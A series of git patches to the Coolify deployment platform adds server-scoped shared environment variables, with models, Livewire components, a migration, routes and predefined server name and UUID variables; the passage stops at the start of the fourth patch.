From e8d985211e19b881abe721d54a2d6df8e23b961a Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 24 Dec 2025 11:30:16 +0100
Subject: [PATCH 001/168] feat: shared server environment variables
---
app/Jobs/ApplicationDeploymentJob.php | 24 +--
app/Livewire/SharedVariables/Server/Index.php | 22 +++
app/Livewire/SharedVariables/Server/Show.php | 169 ++++++++++++++++++
app/Models/EnvironmentVariable.php | 65 ++++++-
app/Models/Server.php | 5 +
app/Models/SharedEnvironmentVariable.php | 5 +
app/View/Components/Forms/EnvVarInput.php | 4 +
bootstrap/helpers/constants.php | 2 +-
..._to_shared_environment_variables_table.php | 35 ++++
.../livewire/shared-variables/index.blade.php | 48 ++---
.../shared-variables/server/index.blade.php | 25 +++
.../shared-variables/server/show.blade.php | 36 ++++
routes/web.php | 4 +
13 files changed, 411 insertions(+), 33 deletions(-)
create mode 100644 app/Livewire/SharedVariables/Server/Index.php
create mode 100644 app/Livewire/SharedVariables/Server/Show.php
create mode 100644 database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php
create mode 100644 resources/views/livewire/shared-variables/server/index.blade.php
create mode 100644 resources/views/livewire/shared-variables/server/show.blade.php
diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php
index 56a29276b..b37eb9833 100644
--- a/app/Jobs/ApplicationDeploymentJob.php
+++ b/app/Jobs/ApplicationDeploymentJob.php
@@ -1234,7 +1234,7 @@ private function generate_runtime_environment_variables()
});
foreach ($runtime_environment_variables as $env) {
- $envs->push($env->key.'='.$env->real_value);
+ $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->server));
}
// Check for PORT environment variable mismatch with ports_exposes
@@ -1300,7 +1300,7 @@ private function generate_runtime_environment_variables()
});
foreach ($runtime_environment_variables_preview as $env) {
- $envs->push($env->key.'='.$env->real_value);
+ $envs->push($env->key.'='.$env->getResolvedValueWithServer($this->server));
}
// Add PORT if not exists, use the first port as default
if ($this->build_pack !== 'dockercompose') {
@@ -2304,14 +2304,16 @@ private function generate_nixpacks_env_variables()
$this->env_nixpacks_args = collect([]);
if ($this->pull_request_id === 0) {
foreach ($this->application->nixpacks_environment_variables as $env) {
- if (! is_null($env->real_value) && $env->real_value !== '') {
- $this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}");
+ $resolvedValue = $env->getResolvedValueWithServer($this->server);
+ if (! is_null($resolvedValue) && $resolvedValue !== '') {
+ $this->env_nixpacks_args->push("--env {$env->key}={$resolvedValue}");
}
}
} else {
foreach ($this->application->nixpacks_environment_variables_preview as $env) {
- if (! is_null($env->real_value) && $env->real_value !== '') {
- $this->env_nixpacks_args->push("--env {$env->key}={$env->real_value}");
+ $resolvedValue = $env->getResolvedValueWithServer($this->server);
+ if (! is_null($resolvedValue) && $resolvedValue !== '') {
+ $this->env_nixpacks_args->push("--env {$env->key}={$resolvedValue}");
}
}
}
@@ -2447,8 +2449,9 @@ private function generate_env_variables()
->get();
foreach ($envs as $env) {
- if (! is_null($env->real_value)) {
- $this->env_args->put($env->key, $env->real_value);
+ $resolvedValue = $env->getResolvedValueWithServer($this->server);
+ if (! is_null($resolvedValue)) {
+ $this->env_args->put($env->key, $resolvedValue);
}
}
} else {
@@ -2458,8 +2461,9 @@ private function generate_env_variables()
->get();
foreach ($envs as $env) {
- if (! is_null($env->real_value)) {
- $this->env_args->put($env->key, $env->real_value);
+ $resolvedValue = $env->getResolvedValueWithServer($this->server);
+ if (! is_null($resolvedValue)) {
+ $this->env_args->put($env->key, $resolvedValue);
}
}
}
diff --git a/app/Livewire/SharedVariables/Server/Index.php b/app/Livewire/SharedVariables/Server/Index.php
new file mode 100644
index 000000000..cd10e510a
--- /dev/null
+++ b/app/Livewire/SharedVariables/Server/Index.php
@@ -0,0 +1,22 @@
+servers = Server::ownedByCurrentTeamCached();
+ }
+
+ public function render()
+ {
+ return view('livewire.shared-variables.server.index');
+ }
+}
diff --git a/app/Livewire/SharedVariables/Server/Show.php b/app/Livewire/SharedVariables/Server/Show.php
new file mode 100644
index 000000000..6aa34f242
--- /dev/null
+++ b/app/Livewire/SharedVariables/Server/Show.php
@@ -0,0 +1,169 @@
+ 'refreshEnvs', 'saveKey' => 'saveKey', 'environmentVariableDeleted' => 'refreshEnvs'];
+
+ public function saveKey($data)
+ {
+ try {
+ $this->authorize('update', $this->server);
+
+ $found = $this->server->environment_variables()->where('key', $data['key'])->first();
+ if ($found) {
+ throw new \Exception('Variable already exists.');
+ }
+ $this->server->environment_variables()->create([
+ 'key' => $data['key'],
+ 'value' => $data['value'],
+ 'is_multiline' => $data['is_multiline'],
+ 'is_literal' => $data['is_literal'],
+ 'type' => 'server',
+ 'team_id' => currentTeam()->id,
+ ]);
+ $this->server->refresh();
+ $this->getDevView();
+ } catch (\Throwable $e) {
+ return handleError($e, $this);
+ }
+ }
+
+ public function mount()
+ {
+ $serverUuid = request()->route('server_uuid');
+ $teamId = currentTeam()->id;
+ $server = Server::where('team_id', $teamId)->where('uuid', $serverUuid)->first();
+ if (!$server) {
+ return redirect()->route('dashboard');
+ }
+ $this->server = $server;
+ $this->getDevView();
+ }
+
+ public function switch()
+ {
+ $this->authorize('view', $this->server);
+ $this->view = $this->view === 'normal' ? 'dev' : 'normal';
+ $this->getDevView();
+ }
+
+ public function getDevView()
+ {
+ $this->variables = $this->formatEnvironmentVariables($this->server->environment_variables->sortBy('key'));
+ }
+
+ private function formatEnvironmentVariables($variables)
+ {
+ return $variables->map(function ($item) {
+ if ($item->is_shown_once) {
+ return "$item->key=(Locked Secret, delete and add again to change)";
+ }
+ if ($item->is_multiline) {
+ return "$item->key=(Multiline environment variable, edit in normal view)";
+ }
+
+ return "$item->key=$item->value";
+ })->join("\n");
+ }
+
+ public function submit()
+ {
+ try {
+ $this->authorize('update', $this->server);
+ $this->handleBulkSubmit();
+ $this->getDevView();
+ } catch (\Throwable $e) {
+ return handleError($e, $this);
+ } finally {
+ $this->refreshEnvs();
+ }
+ }
+
+ private function handleBulkSubmit()
+ {
+ $variables = parseEnvFormatToArray($this->variables);
+
+ $changesMade = DB::transaction(function () use ($variables) {
+ // Delete removed variables
+ $deletedCount = $this->deleteRemovedVariables($variables);
+
+ // Update or create variables
+ $updatedCount = $this->updateOrCreateVariables($variables);
+
+ return $deletedCount > 0 || $updatedCount > 0;
+ });
+
+ if ($changesMade) {
+ $this->dispatch('success', 'Environment variables updated.');
+ }
+ }
+
+ private function deleteRemovedVariables($variables)
+ {
+ $variablesToDelete = $this->server->environment_variables()->whereNotIn('key', array_keys($variables))->get();
+
+ if ($variablesToDelete->isEmpty()) {
+ return 0;
+ }
+
+ $this->server->environment_variables()->whereNotIn('key', array_keys($variables))->delete();
+
+ return $variablesToDelete->count();
+ }
+
+ private function updateOrCreateVariables($variables)
+ {
+ $count = 0;
+ foreach ($variables as $key => $value) {
+ $found = $this->server->environment_variables()->where('key', $key)->first();
+
+ if ($found) {
+ if (! $found->is_shown_once && ! $found->is_multiline) {
+ if ($found->value !== $value) {
+ $found->value = $value;
+ $found->save();
+ $count++;
+ }
+ }
+ } else {
+ $this->server->environment_variables()->create([
+ 'key' => $key,
+ 'value' => $value,
+ 'is_multiline' => false,
+ 'is_literal' => false,
+ 'type' => 'server',
+ 'team_id' => currentTeam()->id,
+ ]);
+ $count++;
+ }
+ }
+
+ return $count;
+ }
+
+ public function refreshEnvs()
+ {
+ $this->server->refresh();
+ $this->getDevView();
+ }
+
+ public function render()
+ {
+ return view('livewire.shared-variables.server.show');
+ }
+}
\ No newline at end of file
diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php
index 895dc1c43..9308b9ce6 100644
--- a/app/Models/EnvironmentVariable.php
+++ b/app/Models/EnvironmentVariable.php
@@ -122,6 +122,17 @@ public function realValue(): Attribute
return null;
}
+ // Load relationships needed for shared variable resolution
+ if (! $resource->relationLoaded('environment')) {
+ $resource->load('environment');
+ }
+ if (! $resource->relationLoaded('server') && method_exists($resource, 'server')) {
+ $resource->load('server');
+ }
+ if (! $resource->relationLoaded('destination') && method_exists($resource, 'destination')) {
+ $resource->load('destination.server');
+ }
+
$real_value = $this->get_real_environment_variables($this->value, $resource);
if ($this->is_literal || $this->is_multiline) {
$real_value = '\''.$real_value.'\'';
@@ -181,7 +192,43 @@ protected function isShared(): Attribute
);
}
- private function get_real_environment_variables(?string $environment_variable = null, $resource = null)
+ public function get_real_environment_variables_with_server(?string $environment_variable = null, $resource = null, $server = null)
+ {
+ return $this->get_real_environment_variables_internal($environment_variable, $resource, $server);
+ }
+
+ public function getResolvedValueWithServer($server = null)
+ {
+ if (! $this->relationLoaded('resourceable')) {
+ $this->load('resourceable');
+ }
+ $resource = $this->resourceable;
+ if (! $resource) {
+ return null;
+ }
+
+ // Load relationships needed for shared variable resolution
+ if (! $resource->relationLoaded('environment')) {
+ $resource->load('environment');
+ }
+ if (! $resource->relationLoaded('server') && method_exists($resource, 'server')) {
+ $resource->load('server');
+ }
+ if (! $resource->relationLoaded('destination') && method_exists($resource, 'destination')) {
+ $resource->load('destination.server');
+ }
+
+ $real_value = $this->get_real_environment_variables_internal($this->value, $resource, $server);
+ if ($this->is_literal || $this->is_multiline) {
+ $real_value = '\''.$real_value.'\'';
+ } else {
+ $real_value = escapeEnvVariables($real_value);
+ }
+
+ return $real_value;
+ }
+
+ private function get_real_environment_variables_internal(?string $environment_variable = null, $resource = null, $serverOverride = null)
{
if ((is_null($environment_variable) && $environment_variable === '') || is_null($resource)) {
return null;
@@ -203,6 +250,17 @@ private function get_real_environment_variables(?string $environment_variable =
$id = $resource->environment->project->id;
} elseif ($type->value() === 'team') {
$id = $resource->team()->id;
+ } elseif ($type->value() === 'server') {
+ // Use server override if provided (for deployment context), otherwise use resource's server
+ if ($serverOverride) {
+ $id = $serverOverride->id;
+ } elseif (isset($resource->server) && $resource->server) {
+ $id = $resource->server->id;
+ } elseif (isset($resource->destination) && $resource->destination && isset($resource->destination->server)) {
+ $id = $resource->destination->server->id;
+ } else {
+ $id = null;
+ }
}
if (is_null($id)) {
continue;
@@ -216,6 +274,11 @@ private function get_real_environment_variables(?string $environment_variable =
return str($environment_variable)->value();
}
+ private function get_real_environment_variables(?string $environment_variable = null, $resource = null)
+ {
+ return $this->get_real_environment_variables_internal($environment_variable, $resource);
+ }
+
private function get_environment_variables(?string $environment_variable = null): ?string
{
if (! $environment_variable) {
diff --git a/app/Models/Server.php b/app/Models/Server.php
index be39e3f8d..31d4f6440 100644
--- a/app/Models/Server.php
+++ b/app/Models/Server.php
@@ -1016,6 +1016,11 @@ public function team()
return $this->belongsTo(Team::class);
}
+ public function environment_variables()
+ {
+ return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'server');
+ }
+
public function isProxyShouldRun()
{
// TODO: Do we need "|| $this->proxy->force_stop" here?
diff --git a/app/Models/SharedEnvironmentVariable.php b/app/Models/SharedEnvironmentVariable.php
index 7956f006a..7b68bbac9 100644
--- a/app/Models/SharedEnvironmentVariable.php
+++ b/app/Models/SharedEnvironmentVariable.php
@@ -27,4 +27,9 @@ public function environment()
{
return $this->belongsTo(Environment::class);
}
+
+ public function server()
+ {
+ return $this->belongsTo(Server::class);
+ }
}
diff --git a/app/View/Components/Forms/EnvVarInput.php b/app/View/Components/Forms/EnvVarInput.php
index 4a98e4a51..faef64a36 100644
--- a/app/View/Components/Forms/EnvVarInput.php
+++ b/app/View/Components/Forms/EnvVarInput.php
@@ -38,6 +38,7 @@ public function __construct(
public array $availableVars = [],
public ?string $projectUuid = null,
public ?string $environmentUuid = null,
+ public ?string $serverUuid = null,
) {
// Handle authorization-based disabling
if ($this->canGate && $this->canResource && $this->autoDisable) {
@@ -86,6 +87,9 @@ public function render(): View|Closure|string
'environment_uuid' => $this->environmentUuid,
])
: route('shared-variables.environment.index'),
+ 'server' => $this->serverUuid
+ ? route('shared-variables.server.show', ['server_uuid' => $this->serverUuid])
+ : route('shared-variables.server.index'),
'default' => route('shared-variables.index'),
];
diff --git a/bootstrap/helpers/constants.php b/bootstrap/helpers/constants.php
index bbbe2bc05..9c103aaac 100644
--- a/bootstrap/helpers/constants.php
+++ b/bootstrap/helpers/constants.php
@@ -81,4 +81,4 @@
const NEEDS_TO_DISABLE_STRIPPREFIX = [
'appwrite' => ['appwrite', 'appwrite-console', 'appwrite-realtime'],
];
-const SHARED_VARIABLE_TYPES = ['team', 'project', 'environment'];
+const SHARED_VARIABLE_TYPES = ['team', 'project', 'environment', 'server'];
diff --git a/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php b/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php
new file mode 100644
index 000000000..0207ed955
--- /dev/null
+++ b/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php
@@ -0,0 +1,35 @@
+foreignId('server_id')->nullable()->constrained()->onDelete('cascade');
+ $table->unique(['key', 'server_id', 'team_id']);
+ });
+ }
+
+ /**
+ * Reverse the migrations.
+ */
+ public function down(): void
+ {
+ Schema::table('shared_environment_variables', function (Blueprint $table) {
+ $table->dropUnique(['key', 'server_id', 'team_id']);
+ $table->dropForeign(['server_id']);
+ $table->dropColumn('server_id');
+ });
+ DB::statement("ALTER TABLE shared_environment_variables DROP CONSTRAINT shared_environment_variables_type_check");
+ DB::statement("ALTER TABLE shared_environment_variables ADD CONSTRAINT shared_environment_variables_type_check CHECK (type IN ('team', 'project', 'environment'))");
+ }
+};
diff --git a/resources/views/livewire/shared-variables/index.blade.php b/resources/views/livewire/shared-variables/index.blade.php
index 3e19e5f1a..5064b75ba 100644
--- a/resources/views/livewire/shared-variables/index.blade.php
+++ b/resources/views/livewire/shared-variables/index.blade.php
@@ -5,27 +5,33 @@
Shared Variables
- Set Team / Project / Environment wide variables.
+ Set Team / Project / Environment / Server wide variables.
-
diff --git a/resources/views/livewire/shared-variables/server/index.blade.php b/resources/views/livewire/shared-variables/server/index.blade.php
new file mode 100644
index 000000000..4183fee5b
--- /dev/null
+++ b/resources/views/livewire/shared-variables/server/index.blade.php
@@ -0,0 +1,25 @@
+
+
+ Server Variables | Coolify
+
+
+
Servers
+
+ List of your servers.
+
+
\ No newline at end of file
diff --git a/resources/views/livewire/shared-variables/server/show.blade.php b/resources/views/livewire/shared-variables/server/show.blade.php
new file mode 100644
index 000000000..44ceeae7f
--- /dev/null
+++ b/resources/views/livewire/shared-variables/server/show.blade.php
@@ -0,0 +1,36 @@
+
+
+ Server Variable | Coolify
+
+
+
Shared Variables for {{ data_get($server, 'name') }}
+ @can('update', $server)
+
+
+
+ @endcan
+ {{ $view === 'normal' ? 'Developer view' : 'Normal view' }}
+
+
+
You can use these variables anywhere with
+
@{{ server.VARIABLENAME }}
+
+
+ @if ($view === 'normal')
+
+ @forelse ($server->environment_variables->sort()->sortBy('key') as $env)
+
+ @empty
+
No environment variables found.
+ @endforelse
+
+ @else
+
+ @endif
+
\ No newline at end of file
diff --git a/routes/web.php b/routes/web.php
index 2a9072299..c2c9293fd 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -70,6 +70,8 @@
use App\Livewire\SharedVariables\Index as SharedVariablesIndex;
use App\Livewire\SharedVariables\Project\Index as ProjectSharedVariablesIndex;
use App\Livewire\SharedVariables\Project\Show as ProjectSharedVariablesShow;
+use App\Livewire\SharedVariables\Server\Index as ServerSharedVariablesIndex;
+use App\Livewire\SharedVariables\Server\Show as ServerSharedVariablesShow;
use App\Livewire\SharedVariables\Team\Index as TeamSharedVariablesIndex;
use App\Livewire\Source\Github\Change as GitHubChange;
use App\Livewire\Storage\Index as StorageIndex;
@@ -145,6 +147,8 @@
Route::get('/project/{project_uuid}', ProjectSharedVariablesShow::class)->name('shared-variables.project.show');
Route::get('/environments', EnvironmentSharedVariablesIndex::class)->name('shared-variables.environment.index');
Route::get('/environments/project/{project_uuid}/environment/{environment_uuid}', EnvironmentSharedVariablesShow::class)->name('shared-variables.environment.show');
+ Route::get('/servers', ServerSharedVariablesIndex::class)->name('shared-variables.server.index');
+ Route::get('/server/{server_uuid}', ServerSharedVariablesShow::class)->name('shared-variables.server.show');
});
Route::prefix('team')->group(function () {
From 81009c29cf58b024605bc75d6163af9964f5e5dd Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 24 Dec 2025 13:31:40 +0100
Subject: [PATCH 002/168] fix: server env shows not found on application
variables input field on autocomplete
---
.../Shared/EnvironmentVariable/Add.php | 41 +++++++++++++++++++
.../Shared/EnvironmentVariable/Show.php | 41 +++++++++++++++++++
.../components/forms/env-var-input.blade.php | 2 +-
.../shared/environment-variable/add.blade.php | 3 +-
.../environment-variable/show.blade.php | 9 ++--
5 files changed, 91 insertions(+), 5 deletions(-)
diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
index fa65e8bd2..f1b92c5db 100644
--- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
+++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
@@ -67,6 +67,7 @@ public function availableSharedVariables(): array
'team' => [],
'project' => [],
'environment' => [],
+ 'server' => [],
];
// Early return if no team
@@ -122,6 +123,46 @@ public function availableSharedVariables(): array
}
}
+ // Get server variables
+ $serverUuid = data_get($this->parameters, 'server_uuid');
+ if ($serverUuid) {
+ // If we have a specific server_uuid, show variables for that server
+ $server = \App\Models\Server::where('team_id', $team->id)
+ ->where('uuid', $serverUuid)
+ ->first();
+
+ if ($server) {
+ try {
+ $this->authorize('view', $server);
+ $result['server'] = $server->environment_variables()
+ ->pluck('key')
+ ->toArray();
+ } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ // User not authorized to view server variables
+ }
+ }
+ } else {
+ // For application environment variables, try to use the application's destination server
+ $applicationUuid = data_get($this->parameters, 'application_uuid');
+ if ($applicationUuid) {
+ $application = \App\Models\Application::whereRelation('environment.project.team', 'id', $team->id)
+ ->where('uuid', $applicationUuid)
+ ->with('destination.server')
+ ->first();
+
+ if ($application && $application->destination && $application->destination->server) {
+ try {
+ $this->authorize('view', $application->destination->server);
+ $result['server'] = $application->destination->server->environment_variables()
+ ->pluck('key')
+ ->toArray();
+ } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ // User not authorized to view server variables
+ }
+ }
+ }
+ }
+
return $result;
}
diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
index 2030f631e..a14adb83f 100644
--- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
+++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php
@@ -204,6 +204,7 @@ public function availableSharedVariables(): array
'team' => [],
'project' => [],
'environment' => [],
+ 'server' => [],
];
// Early return if no team
@@ -259,6 +260,46 @@ public function availableSharedVariables(): array
}
}
+ // Get server variables
+ $serverUuid = data_get($this->parameters, 'server_uuid');
+ if ($serverUuid) {
+ // If we have a specific server_uuid, show variables for that server
+ $server = \App\Models\Server::where('team_id', $team->id)
+ ->where('uuid', $serverUuid)
+ ->first();
+
+ if ($server) {
+ try {
+ $this->authorize('view', $server);
+ $result['server'] = $server->environment_variables()
+ ->pluck('key')
+ ->toArray();
+ } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ // User not authorized to view server variables
+ }
+ }
+ } else {
+ // For application environment variables, try to use the application's destination server
+ $applicationUuid = data_get($this->parameters, 'application_uuid');
+ if ($applicationUuid) {
+ $application = \App\Models\Application::whereRelation('environment.project.team', 'id', $team->id)
+ ->where('uuid', $applicationUuid)
+ ->with('destination.server')
+ ->first();
+
+ if ($application && $application->destination && $application->destination->server) {
+ try {
+ $this->authorize('view', $application->destination->server);
+ $result['server'] = $application->destination->server->environment_variables()
+ ->pluck('key')
+ ->toArray();
+ } catch (\Illuminate\Auth\Access\AuthorizationException $e) {
+ // User not authorized to view server variables
+ }
+ }
+ }
+ }
+
return $result;
}
diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php
index 2466a57f9..dde535f19 100644
--- a/resources/views/components/forms/env-var-input.blade.php
+++ b/resources/views/components/forms/env-var-input.blade.php
@@ -17,7 +17,7 @@
selectedIndex: 0,
cursorPosition: 0,
currentScope: null,
- availableScopes: ['team', 'project', 'environment'],
+ availableScopes: ['team', 'project', 'environment', 'server'],
availableVars: @js($availableVars),
scopeUrls: @js($scopeUrls),
diff --git a/resources/views/livewire/project/shared/environment-variable/add.blade.php b/resources/views/livewire/project/shared/environment-variable/add.blade.php
index 9bc4f06a3..daf808c5e 100644
--- a/resources/views/livewire/project/shared/environment-variable/add.blade.php
+++ b/resources/views/livewire/project/shared/environment-variable/add.blade.php
@@ -6,7 +6,8 @@
+ :environmentUuid="data_get($parameters, 'environment_uuid')"
+ :serverUuid="data_get($parameters, 'server_uuid')" />
@endif
@if (!$shared && !$is_multiline)
diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php
index 68e1d7e7d..d2195c2af 100644
--- a/resources/views/livewire/project/shared/environment-variable/show.blade.php
+++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php
@@ -111,7 +111,8 @@
id="value"
:availableVars="$this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
- :environmentUuid="data_get($parameters, 'environment_uuid')" />
+ :environmentUuid="data_get($parameters, 'environment_uuid')"
+ :serverUuid="data_get($parameters, 'server_uuid')" />
@if ($is_shared)
@endif
@@ -129,7 +130,8 @@
id="value"
:availableVars="$this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
- :environmentUuid="data_get($parameters, 'environment_uuid')" />
+ :environmentUuid="data_get($parameters, 'environment_uuid')"
+ :serverUuid="data_get($parameters, 'server_uuid')" />
@endif
@if ($is_shared)
@@ -145,7 +147,8 @@
id="value"
:availableVars="$this->availableSharedVariables"
:projectUuid="data_get($parameters, 'project_uuid')"
- :environmentUuid="data_get($parameters, 'environment_uuid')" />
+ :environmentUuid="data_get($parameters, 'environment_uuid')"
+ :serverUuid="data_get($parameters, 'server_uuid')" />
@if ($is_shared)
@endif
From 5ed308dcf01dba904c4a131cbcc8ac92c2b7a9d2 Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 24 Dec 2025 13:58:50 +0100
Subject: [PATCH 003/168] feat: predefined server variables
(COOLIFY_SERVER_NAME, COOLIFY_SERVER_UUID)
These are not visible on shared env page but user can use these variables like they use the COOLIFY_RESOURCE_UUID
---
app/Livewire/SharedVariables/Server/Show.php | 20 +++++++++++++---
app/Models/Environment.php | 2 +-
app/Models/Project.php | 2 +-
app/Models/Server.php | 19 ++++++++++++++-
app/Models/Team.php | 2 +-
.../SharedEnvironmentVariableSeeder.php | 23 +++++++++++++++++++
.../shared-variables/server/show.blade.php | 2 +-
7 files changed, 62 insertions(+), 8 deletions(-)
diff --git a/app/Livewire/SharedVariables/Server/Show.php b/app/Livewire/SharedVariables/Server/Show.php
index 6aa34f242..1dd9f9d46 100644
--- a/app/Livewire/SharedVariables/Server/Show.php
+++ b/app/Livewire/SharedVariables/Server/Show.php
@@ -24,6 +24,10 @@ public function saveKey($data)
try {
$this->authorize('update', $this->server);
+ if (in_array($data['key'], ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])) {
+ throw new \Exception('Cannot create predefined variable.');
+ }
+
$found = $this->server->environment_variables()->where('key', $data['key'])->first();
if ($found) {
throw new \Exception('Variable already exists.');
@@ -64,7 +68,7 @@ public function switch()
public function getDevView()
{
- $this->variables = $this->formatEnvironmentVariables($this->server->environment_variables->sortBy('key'));
+ $this->variables = $this->formatEnvironmentVariables($this->server->environment_variables->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])->sortBy('key'));
}
private function formatEnvironmentVariables($variables)
@@ -115,13 +119,19 @@ private function handleBulkSubmit()
private function deleteRemovedVariables($variables)
{
- $variablesToDelete = $this->server->environment_variables()->whereNotIn('key', array_keys($variables))->get();
+ $variablesToDelete = $this->server->environment_variables()
+ ->whereNotIn('key', array_keys($variables))
+ ->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])
+ ->get();
if ($variablesToDelete->isEmpty()) {
return 0;
}
- $this->server->environment_variables()->whereNotIn('key', array_keys($variables))->delete();
+ $this->server->environment_variables()
+ ->whereNotIn('key', array_keys($variables))
+ ->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])
+ ->delete();
return $variablesToDelete->count();
}
@@ -130,6 +140,10 @@ private function updateOrCreateVariables($variables)
{
$count = 0;
foreach ($variables as $key => $value) {
+ // Skip predefined variables
+ if (in_array($key, ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])) {
+ continue;
+ }
$found = $this->server->environment_variables()->where('key', $key)->first();
if ($found) {
diff --git a/app/Models/Environment.php b/app/Models/Environment.php
index c2ad9d2cb..38138da1e 100644
--- a/app/Models/Environment.php
+++ b/app/Models/Environment.php
@@ -56,7 +56,7 @@ public function isEmpty()
public function environment_variables()
{
- return $this->hasMany(SharedEnvironmentVariable::class);
+ return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'environment');
}
public function applications()
diff --git a/app/Models/Project.php b/app/Models/Project.php
index 8b26672f0..c1d7dc82a 100644
--- a/app/Models/Project.php
+++ b/app/Models/Project.php
@@ -73,7 +73,7 @@ protected static function booted()
public function environment_variables()
{
- return $this->hasMany(SharedEnvironmentVariable::class);
+ return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'project');
}
public function environments()
diff --git a/app/Models/Server.php b/app/Models/Server.php
index 31d4f6440..46587e7bc 100644
--- a/app/Models/Server.php
+++ b/app/Models/Server.php
@@ -19,6 +19,7 @@
use App\Traits\HasSafeStringAttribute;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Casts\Attribute;
+use Illuminate\Database\Eloquent\Relations\HasMany;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\SoftDeletes;
use Illuminate\Support\Carbon;
@@ -168,9 +169,25 @@ protected static function booted()
$standaloneDocker->saveQuietly();
}
}
- if (! isset($server->proxy->redirect_enabled)) {
+ if (! isset($server->proxy->redirect_enabled)) {
$server->proxy->redirect_enabled = true;
}
+
+ // Create predefined server shared variables
+ SharedEnvironmentVariable::create([
+ 'key' => 'COOLIFY_SERVER_UUID',
+ 'value' => $server->uuid,
+ 'type' => 'server',
+ 'server_id' => $server->id,
+ 'team_id' => $server->team_id,
+ ]);
+ SharedEnvironmentVariable::create([
+ 'key' => 'COOLIFY_SERVER_NAME',
+ 'value' => $server->name,
+ 'type' => 'server',
+ 'server_id' => $server->id,
+ 'team_id' => $server->team_id,
+ ]);
});
static::retrieved(function ($server) {
if (! isset($server->proxy->redirect_enabled)) {
diff --git a/app/Models/Team.php b/app/Models/Team.php
index 5cb186942..b98ae08ff 100644
--- a/app/Models/Team.php
+++ b/app/Models/Team.php
@@ -214,7 +214,7 @@ public function subscriptionEnded()
public function environment_variables()
{
- return $this->hasMany(SharedEnvironmentVariable::class)->whereNull('project_id')->whereNull('environment_id');
+ return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'team');
}
public function members()
diff --git a/database/seeders/SharedEnvironmentVariableSeeder.php b/database/seeders/SharedEnvironmentVariableSeeder.php
index 54643fe3b..b55d13a17 100644
--- a/database/seeders/SharedEnvironmentVariableSeeder.php
+++ b/database/seeders/SharedEnvironmentVariableSeeder.php
@@ -2,6 +2,7 @@
namespace Database\Seeders;
+use App\Models\Server;
use App\Models\SharedEnvironmentVariable;
use Illuminate\Database\Seeder;
@@ -32,5 +33,27 @@ public function run(): void
'project_id' => 1,
'team_id' => 0,
]);
+
+ // Add predefined server variables to all existing servers
+ $servers = \App\Models\Server::all();
+ foreach ($servers as $server) {
+ SharedEnvironmentVariable::firstOrCreate([
+ 'key' => 'COOLIFY_SERVER_UUID',
+ 'type' => 'server',
+ 'server_id' => $server->id,
+ 'team_id' => $server->team_id,
+ ], [
+ 'value' => $server->uuid,
+ ]);
+
+ SharedEnvironmentVariable::firstOrCreate([
+ 'key' => 'COOLIFY_SERVER_NAME',
+ 'type' => 'server',
+ 'server_id' => $server->id,
+ 'team_id' => $server->team_id,
+ ], [
+ 'value' => $server->name,
+ ]);
+ }
}
}
diff --git a/resources/views/livewire/shared-variables/server/show.blade.php b/resources/views/livewire/shared-variables/server/show.blade.php
index 44ceeae7f..cddde9c76 100644
--- a/resources/views/livewire/shared-variables/server/show.blade.php
+++ b/resources/views/livewire/shared-variables/server/show.blade.php
@@ -19,7 +19,7 @@
@if ($view === 'normal')
- @forelse ($server->environment_variables->sort()->sortBy('key') as $env)
+ @forelse ($server->environment_variables->whereNotIn('key', ['COOLIFY_SERVER_UUID', 'COOLIFY_SERVER_NAME'])->sort()->sortBy('key') as $env)
@empty
From 09e14d2f516a426822b5c441ceda12bafba475cf Mon Sep 17 00:00:00 2001
From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
Date: Wed, 24 Dec 2025 14:40:00 +0100
Subject: [PATCH 004/168] fix: server env not showing for services
---
.../Shared/EnvironmentVariable/Add.php | 20 +++++++++++++++++++
.../Shared/EnvironmentVariable/Show.php | 20 +++++++++++++++++++
2 files changed, 40 insertions(+)
diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php
